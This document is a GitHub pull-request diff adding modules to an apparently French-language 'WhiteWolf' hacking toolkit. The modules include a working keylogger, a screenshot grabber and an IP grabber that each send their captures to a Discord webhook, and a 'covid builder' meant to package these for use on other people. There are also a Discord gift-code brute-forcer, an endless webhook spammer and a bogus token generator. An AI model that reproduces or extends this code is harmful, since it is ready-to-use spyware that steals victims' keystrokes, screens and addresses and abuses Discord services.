Skip to content
Closed

Dev #10

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
217 changes: 139 additions & 78 deletions README.MD

Large diffs are not rendered by default.

3 changes: 3 additions & 0 deletions code/core/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
from code.core.rpc import start_rpc
from code.core.devtools import devtools
from code.core.menu import show_informations
15 changes: 15 additions & 0 deletions code/core/devtools.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import os
from pyfiglet import Figlet
from code.colors import MAGENTA


def devtools():
os.system("cls")
choix = input(f"""{MAGENTA}
████▄ ██████ ██ ██ ██████ ▄████▄ ▄████▄ ██ ▄█████
██ ██ ██▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██ ▀▀▀▄▄▄
████▀ ██▄▄▄▄ ▀██▀ ██ ▀████▀ ▀████▀ ██████ █████▀

Devtools for xql : """)
f = Figlet(font="slant")
print(f.renderText(choix))
12 changes: 12 additions & 0 deletions code/core/menu.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
import os
import time
from code.colors import RED


def show_informations():
os.system("cls")
print(f"""{RED} Informations {RED}
Telegram - https://t.me/whitewolf_tools
Gunslol - https://guns.lol/xqldev
""")
time.sleep(5)
31 changes: 31 additions & 0 deletions code/core/rpc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
import time
from pypresence import Presence, DiscordNotFound


def start_rpc():
try:
rpc = Presence("1441226984024965221")
rpc.connect()

rpc.update(
state="White Wolf",
details="Best Tools",
large_image="tools",
large_text="by xql",
buttons=[
{
"label": "Repository",
"url": "https://github.com/Python-loving/WHITEWOLF-TOOLS"
},
{
"label": "Telegram",
"url": "https://t.me/whitewolf_tools"
}
]
)

while True:
time.sleep(15)

except DiscordNotFound:
return
4 changes: 4 additions & 0 deletions code/covid/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
from code.covid.keylogger import keylogger
from code.covid.ip_grab import grab_ip
from code.covid.screenshot import screenshot
from code.covid.build import build_covid
23 changes: 23 additions & 0 deletions code/covid/build.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
import os
import json
from builder import builder
from code.colors import MAGENTA


def build_covid():
os.system("cls")
try:
webhook = input(f"""{MAGENTA}

██ ██ ██ █████▄ ██ ██ ▄█████ █████▄ ██ ██ ██ ██ ████▄
██▄▄██ ██ ██▄▄██▄ ██ ██ ▀▀▀▄▄▄ ██▄▄██ ██ ██ ██ ██ ██ ██
▀██▀ ██ ██ ██ ▀████▀ █████▀ ██▄▄█▀ ▀████▀ ██ ██████ ████▀

Met Ton Webhook : """)
except ValueError as e:
print(f"Error {e}")
return

with open("config.json", "w", encoding="utf-8") as f:
json.dump({"webhook": webhook}, f, ensure_ascii=False, indent=4)
builder()
33 changes: 33 additions & 0 deletions code/covid/ip_grab.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import os
import time
import requests


def grab_ip():
os.system("cls")
try:
ip_grabing = input("""
██████╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗ ██╗██████╗
██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝ ██║██╔══██╗
██║ ███╗██████╔╝███████║██████╔╝██║██╔██╗ ██║██║ ███╗ ██║██████╔╝
██║ ██║██╔══██╗██╔══██║██╔══██╗██║██║╚██╗██║██║ ██║ ██║██╔═══╝
╚██████╔╝██║ ██║██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝ ██║██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝

Met Ton webhook (Pour tester sur des gens autre que vous allez sur le covid builder) : """)
except ValueError as e:
print(f"Error {e}")
return

webhook = ip_grabing
try:
ip = requests.get("https://checkip.amazonaws.com").text.strip()
data = {
"content": ip,
"username": "WhiteWolf",
"avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"
}
requests.post(webhook, json=data)
except ValueError:
print("Value error")
time.sleep(3)
70 changes: 70 additions & 0 deletions code/covid/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
import os
import time
import requests
import json
import threading
from code.colors import BLUE


def keylogger():
try:
from pynput import keyboard
except ImportError:
print("Error: 'pynput' package is required for keylogger.")
print("Install it with: pip install pynput")
time.sleep(5)
return
os.system("cls")
webhook_choice = input(f"""{BLUE}

▄████▄ ▒█████ ██▒ █▓ ██▓▓█████▄ ██▓ ▒█████ ▄████ ▓█████ ██▀███
▒██▀ ▀█ ▒██▒ ██▒▓██░ █▒▓██▒▒██▀ ██▌ ▓██▒ ▒██▒ ██▒ ██▒ ▀█▒▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒██░ ██▒ ▓██ █▒░▒██▒░██ █▌ ▒██░ ▒██░ ██▒▒██░▄▄▄░▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒▒██ ██░ ▒██ █░░░██░░▓█▄ ▌ ▒██░ ▒██ ██░░▓█ ██▓▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░░ ████▓▒░ ▒▀█░ ░██░░▒████▓ ░██████▒░ ████▓▒░░▒▓███▀▒░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░░ ▒░▒░▒░ ░ ▐░ ░▓ ▒▒▓ ▒ ░ ▒░▓ ░░ ▒░▒░▒░ ░▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ▒ ▒░ ░ ░░ ▒ ░ ░ ▒ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ▒ ░░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
{BLUE}
Met ton webhook (Pour tester sur des gens autre que vous allez sur le covid builder): """)
os.system("cls")

webhook = webhook_choice
buffer = ""
timer = None

def send_buffer():
nonlocal buffer
if buffer:
data = {
"content": buffer,
"username": "WhiteWolf",
"avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"
}
requests.post(webhook, json=data)
buffer = ""

def reset_timer():
nonlocal timer
if timer:
timer.cancel()
timer = threading.Timer(1.0, send_buffer)
timer.start()

def on_press(key):
nonlocal buffer
try:
char = key.char
buffer += char
except AttributeError:
if key == keyboard.Key.space:
buffer += " "
elif key == keyboard.Key.enter:
buffer += "\n"
reset_timer()

listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()
42 changes: 42 additions & 0 deletions code/covid/screenshot.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import os
import io
import time
import requests
from code.colors import RED


def screenshot():
try:
import mss
import mss.tools
except ImportError:
print("Error: 'mss' package is required for screenshot.")
print("Install it with: pip install mss")
time.sleep(5)
return
os.system("cls")
try:
screen = input(""" {RED}
███████╗ ██████╗██████╗ ███████╗███████╗███╗ ██╗
██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝████╗ ██║
███████╗██║ ██████╔╝█████╗ █████╗ ██╔██╗ ██║
╚════██║██║ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╗██║
███████║╚██████╗██║ ██║███████╗███████╗██║ ╚████║
╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═══╝
Met Ton webhook discord (Pour tester sur des gens autre que vous allez sur le covid builder): """)
except ValueError as e:
print(f"Error {e}")
return

webhook = screen
with mss.MSS() as sct:
img = sct.grab(sct.monitors[1])
img_bytes = mss.tools.to_png(img.rgb, img.size)
files = {
"file": ("screen.png", io.BytesIO(img_bytes), "image/png")
}
requests.post(webhook, data={
"content": "screenshot",
"username": "WhiteWolf",
"avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"
}, files=files)
5 changes: 5 additions & 0 deletions code/discord/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
from code.discord.nitro import nitro_gen
from code.discord.webhook_spam import webhook_spam
from code.discord.darkweb_display import darkweb_display
from code.discord.token_tools import token_bruteforce
from code.discord.bot_invite import bot_invite
22 changes: 22 additions & 0 deletions code/discord/bot_invite.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import os
import time


def bot_invite():
os.system("cls")
id_bot = int(input("""
██╗███╗ ██╗██╗ ██╗██╗████████╗
██║████╗ ██║██║ ██║██║╚══██╔══╝
██║██╔██╗ ██║██║ ██║██║ ██║
██║██║╚██╗██║╚██╗ ██╔╝██║ ██║
██║██║ ╚████║ ╚████╔╝ ██║ ██║
╚═╝╚═╝ ╚═══╝ ╚═══╝ ╚═╝ ╚═╝

Met L'id de ton bot : """))
try:
id = id_bot
print(f"https://discord.com/oauth2/authorize?client_id={id}&permissions=8&integration_type=0&scope=bot")
time.sleep(5)
except ValueError:
print("Problème...")
time.sleep(5)
28 changes: 28 additions & 0 deletions code/discord/darkweb_display.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
import os
import time
from darkweb import links


def darkweb_display():
os.system("cls")
print("""
██████╗ █████╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗██████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██║ ██║██╔════╝██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ██║ █╗ ██║█████╗ ██████╔╝
██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║███╗██║██╔══╝ ██╔══██╗
██████╔╝██║ ██║██║ ██║██║ ██╗ ╚███╔███╔╝███████╗██████╔╝
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚══════╝╚═════╝
""")
try:
for category, content in links.items():
print(f"\n--- {category} ---")
for name, url in content.items():
if isinstance(url, dict):
print(f"\n [{name}]")
for sub_name, sub_url in url.items():
print(f" - {sub_name} : {sub_url}")
else:
print(f" - {name} : {url}")
except Exception as e:
print(f"Error {e}")
time.sleep(10)
27 changes: 27 additions & 0 deletions code/discord/nitro.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import os
import string
import random
import requests


def nitro_gen():
os.system("cls")
nombre = input("""
███╗ ██╗██╗████████╗██████╗ ██████╗
████╗ ██║██║╚══██╔══╝██╔══██╗██╔═══██╗
██╔██╗ ██║██║ ██║ ██████╔╝██║ ██║
██║╚██╗██║██║ ██║ ██╔══██╗██║ ██║
██║ ╚████║██║ ██║ ██║ ██║╚██████╔╝
╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝
Met le nombre de fois que tu veux essayé : """)
try:
nombre = int(nombre)
for i in range(nombre):
char = string.ascii_letters + string.digits
result = ''.join(random.choice(char) for _ in range(16))
response = requests.get(f"https://discord.gift/{result}")
if response.ok:
with open("nitro.txt", "a", encoding="utf-8") as fichier:
fichier.write(f"https://discord.gift/{result}\n")
except:
print("Ca Nas pas marché sorry :)")
29 changes: 29 additions & 0 deletions code/discord/token_tools.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import os
import base64
import string
import random
import time


def token_bruteforce():
os.system("cls")
id = input("""
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝

Met L'id du gars : """)
try:
user_id = id
part1 = base64.b64encode(user_id.encode()).decode()
part2 = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
part3 = ''.join(random.choices(string.ascii_letters + string.digits, k=18))
token = f"{part1}.{part2}.{part3}"
print(f"\nToken : \n {token}")
time.sleep(2)
except:
print("Ca na pas marché")
time.sleep(2)
38 changes: 38 additions & 0 deletions code/discord/webhook_spam.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
import os
import time
import requests


def webhook_spam():
os.system("cls")
message = input("""
██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗
██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝
██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝
██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗
╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗
╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝

Choisis Le message a spam : """)
os.system("cls")
url = input("""
██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗
██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝
██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝
██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗
╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗
╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝

Choisis L'url : """)

response = requests.get(url)
if response.ok:
try:
while True:
data = {"content": message}
r = requests.post(url, json=data)
print(r.status_code, r.text)
time.sleep(5)
except Exception as e:
print("Ca nas pas marché", e)
time.sleep(5)
Loading
Loading